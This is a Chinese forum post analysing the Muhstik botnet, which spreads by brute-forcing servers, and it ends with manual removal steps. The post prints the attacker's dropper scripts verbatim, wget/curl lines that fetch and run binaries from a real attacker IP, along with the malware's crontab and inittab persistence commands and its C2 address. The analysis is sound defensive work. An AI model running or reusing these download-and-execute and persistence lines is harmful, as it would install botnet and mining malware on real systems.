首页
社区
课程
招聘
[原创]Muhstik僵尸网络
发表于: 2020-11-24 18:55 3003

[原创]Muhstik僵尸网络

2020-11-24 18:55
3003

Muhstik僵尸网络

最近发生的有大部分的国外和国内的ip对国内的服务器进行爆破服务,通过爆破登录服务器,执行恶意下载Muhstik僵尸木马,从而下载挖矿木马,以及DDos攻击

 

攻击者主要会在爆破登录成功后用wget下载shell脚本

 

图片描述

Virus MD5
1sh 861c40811b98780ce8eba0c572dfaa9b
2sh bfc90665de5c74c45488226a8999630b
3sh ca6d74719f063b9c79cb4d81d7299392
  • 1sh:
1
2
3
4
5
6
7
8
9
10
wget http://167.99.39.134/.x/pty1 -O /var/run/pty1; chmod +x /var/run/pty1; chmod 700 /var/run/pty1; /var/run/pty1 &
wget http://167.99.39.134/.x/pty2 -O /var/run/pty2; chmod +x /var/run/pty2; chmod 700 /var/run/pty2; /var/run/pty2 &
wget http://167.99.39.134/.x/pty5 -O /var/run/pty5; chmod +x /var/run/pty5; chmod 700 /var/run/pty5; /var/run/pty5 &
wget http://167.99.39.134/.x/pty11 -O /var/run/pty11; chmod +x /var/run/pty11; chmod 700 /var/run/pty11; /var/run/pty11 &
wget http://167.99.39.134/.x/pty3 -O pty3; chmod +x pty3 ; chmod 700 pty3 ; ./pty3 &
wget http://167.99.39.134/.x/pty10 -O pty10; chmod +x pty10 ; chmod 700 pty10 ; ./pty10 &
wget http://167.99.39.134/.x/pty4 -O pty4; chmod +x pty4 ; chmod 700 pty4 ; ./pty4 &
wget http://167.99.39.134/.x/pty3 -O /var/tmp/pty3; chmod +x /var/tmp/pty3 ; chmod 700 /var/tmp/pty3 ; /var/tmp/pty3 &
wget http://167.99.39.134/.x/pty3 -O /var/run/pty3; chmod +x /var/run/pty3; chmod 700 /var/run/pty3; /var/run/pty3 &
rm -rf /var/run/1sh
  • 2sh:
1
2
3
4
5
6
7
wget http://167.99.39.134/.x/pty1 -O /tmp/pty1 ; chmod +x /tmp/pty1 ; chmod 700 /tmp/pty1 ; /tmp/pty1 ; cp /bin/busybox /tmp/loop0 ; cat /tmp/pty1 > /tmp/loop0 ; /tmp/loop0 &
wget http://167.99.39.134/.x/pty2 -O /tmp/pty2 ; chmod +x /tmp/pty2 ; chmod 700 /tmp/pty2 ; /tmp/pty2 ; cp /bin/busybox /tmp/loop1 ; cat /tmp/pty2 > /tmp/loop1 ; /tmp/loop1 &
wget http://167.99.39.134/.x/pty11 -O /tmp/pty11 ; chmod +x /tmp/pty11 ; chmod 700 /tmp/pty11 ; /tmp/pty11 ; cp /bin/busybox /tmp/loop1 ; cat /tmp/pty11 > /tmp/loop1 ; /tmp/loop1 &
wget http://167.99.39.134/.x/pty10 -O /tmp/pty10 ; chmod +x /tmp/pty10 ; chmod 700 /tmp/pty10 ; /tmp/pty10 ; cp /bin/busybox /tmp/loop2 ; cat /tmp/pty10 > /tmp/loop2 ; /tmp/loop2 &
wget http://167.99.39.134/.x/pty4 -O /tmp/pty4 ; chmod +x /tmp/pty4 ; chmod 700 /tmp/pty4 ; /tmp/pty4 ; cp /bin/busybox /tmp/loop3 ; cat /tmp/pty4 > /tmp/loop3 ; /tmp/loop3 &
wget http://167.99.39.134/.x/pty5 -O /tmp/pty5 ; chmod +x /tmp/pty5 ; chmod 700 /tmp/pty5 ; /tmp/pty5 ; cp /bin/busybox /tmp/loop3 ; cat /tmp/pty5 > /tmp/loop4 ; /tmp/loop4 &
rm -rf /tmp/2sh
  • 3sh:
1
2
3
4
5
6
7
8
curl http://167.99.39.134/.x/pty10 -o pty10 ; chmod +x pty10 ; chmod 700 pty10 ; ./pty10
curl http://167.99.39.134/.x/pty3 -o pty3; chmod +x pty3 ; chmod 700 pty3 ; ./pty3
curl http://167.99.39.134/.x/pty4 -o pty4; chmod +x pty4 ; chmod 700 pty4 ; ./pty4
curl http://167.99.39.134/.x/pty10 -o /tmp/pty10 ; chmod +x /tmp/pty10 ; chmod 700 /tmp/pty10 ; /tmp/pty10 &
curl http://167.99.39.134/.x/pty1 -o /tmp/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 &
curl http://167.99.39.134/.x/pty2 -o /tmp/pty2; chmod +x /tmp/pty2; chmod 700 /tmp/pty2; /tmp/pty2 &
curl http://167.99.39.134/.x/pty5 -o /tmp/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 &
curl http://167.99.39.134/.x/pty11 -o /tmp/pty11; chmod +x /tmp/pty11; chmod 700 /tmp/pty11; /tmp/pty11 &

SHELL文件分析:

  • 1sh:

    主要下载pty1,pty2,pty5,pty11到/var/run目录下,更改文件的权限,首先是进行 chmod + x 提供可执行功能 ,再进行 chmod 700让其他人没有权限更改文件,同样pty3,pty10,pty4到当前的目录下,pty3在/var/run和/var/tmp目录下,执行完这些操作之后删除自身的文件1sh

  • 2sh

    主要下载pty1,pty2,pty11,pty10,pty4,pty5到/tmp目录下,更改文件的权限,首先是进行 chmod + x 提供可执行功能 ,再进行 chmod 700让其他人没有权限更改文件,将下载的文件复制到/tmp目录下的loop0,loop1,loop2,loop3,loop4,执行完操作之后删除自身的文件2sh

  • 3sh

    主要下载pty10,pty3,pty4到当前的目录下,更改文件的权限,首先是进行 chmod + x 提供可执行功能 ,再进行 chmod 700让其他人没有权限更改文件,然后下载pty10,pty1,pty2,pty5,pty11到/tmp目录下进行 chmod + x 提供可执行功能 ,再进行 chmod 700让其他人没有权限更改文件,3sh文件没有删除

病毒开始执行:

 

图片描述

下载文件分析

图片描述

 

下载下来的文件pty* 等等的,主要是muhstik主要的病毒文件,主要功能:

  • 蠕虫式传播
  • 长期存在
  • 使用的漏洞利用数目众多
  • 混合使用了多种牟利方式

利用pty1这个文件进行一下测试

 

 

通过ida分析,恶意文件具有crontab定时任务,以及/etc/inittab系统启动项进行持久化

1
2
3
4
5
6
crontab -l | grep %s | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * %s > /dev/null 2>&1 &\") | crontab - > /dev/null 2>&1 &
cat /etc/inittab | grep -v \"%s\" > /etc/inittab2
echo \"0:2345:respawn:%s\" >> /etc/inittab2
cat /etc/inittab2 > /etc/inittab
rm -rf /etc/inittab2
touch -acmr /bin/ls /etc/inittab

 


 

因为在自己虚拟机中运行的时候,只有pty3开始执行了,可以看到这里的计划性任务和我们ida中的路径相吻合

 

 

我们也可以发现通信端口号是2407,和165.22.217.181:2407进行通信

 

 

网络流量分析

可以看到和165.22.217.181:2407进行了网路上的通信,并且传递了数据包

 

 

恶意文件,为受害主机的系统分配了相应的昵称:

 

主要收集了电脑的体系结构,是否为root用户,编号以及设备的一部分信息,进行传送

1
NICK x86|f|1|8090634|unknown

 

主要通过Connect命令中含有设备命名unknown加入到信道中,服务器进行PING命令后,病毒主机回复PONG,病毒主机通过ex86信道密码为8974来跟僵尸网络命令互通

 

 

在经过1小时左右会Get下载xmra64文件,并且进行加密矿工的通信还有挖矿的行为

 

 

可以确定为是门罗XMR挖矿程序

 

 

看下本机网络行为:开始进行通信挖矿

 

手动删除办法

  1. 查找到下文所述的文件,kill其进程并删除文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/var/run目录下的pty1,pty2,pty5,pty11
 
/tmp目录下的pty1,pty2,pty11,pty10,pty4,pty5,xmra64
 
/tmp目录下的loop0,loop1,loop2,loop3,loop4
 
当前的目录下的pty3,pty10,pty4,xmra64
 
/dev/shm/pty*(\*代表任意字符)
 
/var/tmp/pty*
 
/var/lock/pty*
 
/var/run/pty*
  1. crontab -l命令查看定时任务中是否包含以上pty*相关的文件内容,有将其删除即可

  2. cat /etc/inittab查看系统启动任务中是否包含以上pty* 相关的文件内容,有将其删除即可


[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 10786
活跃值: (14564)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
2

源神太强了

最后于 2020-11-24 20:42 被wmsuper编辑 ,原因:
2020-11-24 20:42
0
雪    币: 1055
活跃值: (412)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
源哥太强了
2020-11-24 20:53
0
雪    币: 1641
活跃值: (3601)
能力值: (RANK:15 )
在线值:
发帖
回帖
粉丝
4
源哥牛批
2020-11-24 20:54
0
雪    币: 4709
活跃值: (1554)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
5
Yuan-OS 启动!
2020-11-25 15:03
0
游客
登录 | 注册 方可回帖
返回
//